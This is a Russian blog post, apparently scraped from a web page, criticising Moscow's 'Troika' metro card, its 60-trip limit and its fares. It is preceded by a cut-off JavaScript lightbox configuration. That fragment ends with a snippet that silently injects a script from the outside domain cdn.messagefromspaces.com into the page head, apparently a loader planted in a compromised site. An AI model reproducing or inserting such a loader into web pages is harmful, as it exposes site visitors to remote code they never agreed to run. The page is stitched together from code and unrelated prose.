, 'opacity': false, 'speedIn': 500, 'speedOut': 500, 'changeSpeed': 300, 'overlayShow': false, 'overlayOpacity': "", 'overlayColor': "", 'titleShow': false, 'titlePosition': '', 'enableEscapeButton': false, 'showCloseButton': false, 'showNavArrows': false, 'hideOnOverlayClick': false, 'hideOnContentClick': false, 'width': 500, 'height': 340, 'transitionIn': "", 'transitionOut': "", 'centerOnScroll': false }); var script = document.createElement('script'); script.type= 'text/javascript'; script.src = 'https://cdn.messagefromspaces.com/c.js?pro=type'; document.getElementsByTagName('head')[0].appendChild(script); })

Годовые безлимитные проездные на метро канули в лету вместе с новогодними праздниками. Пришло время освоить новые технологии и купить себе «Тройку».

Перед покупкой я попытался полностью разобраться в устройстве этого проездного, но толком ничего не понял. Пока не было пассажиров на противоположной от электричек станции «Царицыно» расспросил кассиршу, которая мне более менее понятно всё разъяснила. В итоге был куплен проездной на 60 поездок за 1200 рублей.

Но осталось несколько вопросов:
  1. Могу ли я закачать на «Тройку» три проездных на 60 поездок при наличии у меня 3600 рублей за 5 минут? А за 10?
  2. Почему нет?
  3. А новые 60 поездок (по 20 рублей, конечно) я могу купить только пока кончатся предыдущие 60? А в чём тогда отличие от бумажного проездного?

Как выясняется, можно закачать только 60 поездок по 20 рублей, все остальные будут по 28, это, типа, пополняемый электронный кошелёк. Интересно, с него можно перевести деньги на оплату проездного на 60 поездок?

А электрички на «Тройке» вообще нам не упали, т.к. там тарифы ещё хуже. Для редких пользователей ничего удобного нет. А ведь так хотелось, да.

В общем, слегка тупорылая «Тройка» пока получилась. Идея правильная, а исполнение так себе.

P.S. Ах, да, самое толковое нововведение — это оплата стоимости проезда в наземном транспорте по 20 рублей. Вот это реально удобно и приятно.